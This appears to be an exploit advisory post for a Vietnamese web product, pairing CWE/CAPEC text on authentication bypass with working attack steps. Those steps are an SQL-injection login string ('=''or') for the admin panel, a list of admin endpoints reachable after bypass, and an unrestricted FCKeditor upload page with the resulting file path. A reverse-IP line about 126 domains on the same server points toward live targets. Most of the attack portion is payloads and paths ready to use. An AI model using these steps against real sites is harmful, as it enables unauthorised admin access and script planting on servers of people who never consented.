Improper authentication occurs when an application improperly verifies the identity of a user. A software incorrectly validates user's login information and as a result, an attacker can gain certain privileges within the application or disclose sensitive information that allows them to access sensitive data and provoke arbitrary code execution. The weakness is introduced during Architecture and Design, Implementation stages. CAPEC-115 [ Authentication Bypass ] An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place. This refers to an attacker gaining access equivalent to an authenticated user without ever going through an authentication procedure. This is usually the result of the attacker using an unexpected access procedure that does not go through the proper checkpoints where authentication should occur. For example, a web site might assume that all users will click through a given link in order to get to secure material and simply authenticate everyone that clicks the link. However, an attacker might be able to reach secured web content by explicitly entering the path to the content rather than clicking through the authentication link, thereby avoiding the check entirely. This attack pattern differs from other authentication attacks in that attacks of this pattern avoid authentication entirely, rather than faking authentication by exploiting flaws or by stealing credentials from legitimate users. * ThietkeWebX Quatangtraitim VietNext is prone to an arbitrary-file-upload vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary script code execution within the context of the vulnerable application. #################################################################### # Authentication Bypass / Improper Authentication / Admin Panel Login Bypass Exploit : ****************************************************************************** /admin/login.php Administrator Username : '=''or' Administrator Password : '=''or' /admin/?act=product_category /admin/?act=product /admin/?act=product_new /admin/?act=product_special /admin/?act=service /admin/?act=yahoo /admin/?act=download /admin/?act=logo /admin/?act=contact /admin/?act=contact_m&cat=&page=&id=30 /admin/?act=intro /admin/?act=intro_m&cat=&page=&id=167 /admin/?act=intro&cat=&page=&code=1 /admin/?act=advleft_top_m&cat=&page=&id=193 /admin/?act=advleft_bottom /admin/?act=advleft_bottom_m&cat=&page=&id=196 /admin/?act=advleft_bottom&cat=&page=&code=1 /admin/?act=advright_top /admin/?act=advright_top_m&cat=&page=&id=195 /admin/?act=advright_bottom /admin/?act=advright_bottom&cat=&page=&code=1 /admin/?act=news /admin/?act=news&cat=&page=&code=1 /admin/?act=news_m&cat=&page=&id=200 /admin/?act=member /admin/?act=config /admin/?act=changepass ScreenShot Administrator Control Panel : https://www.upload.ee/image/11635192/baotam2adminpanel05052020.png https://www.upload.ee/image/11634914/baotamcomputerfileuploadvuln05052020.png Arbitrary File Upload Vulnerability : ******************************* /jscripts/FCKeditor/editor/filemanager/upload/test.html Select the "File Uploader" to use: PHP Upload a new file: Choose File : .txt .jpg .gif .png .htm .html Directory File Path : ******************** /vantindat/images/[YOURFILENAME].html Reverse IP results for (112.78.2.91) There are 126 domains hosted on this server.
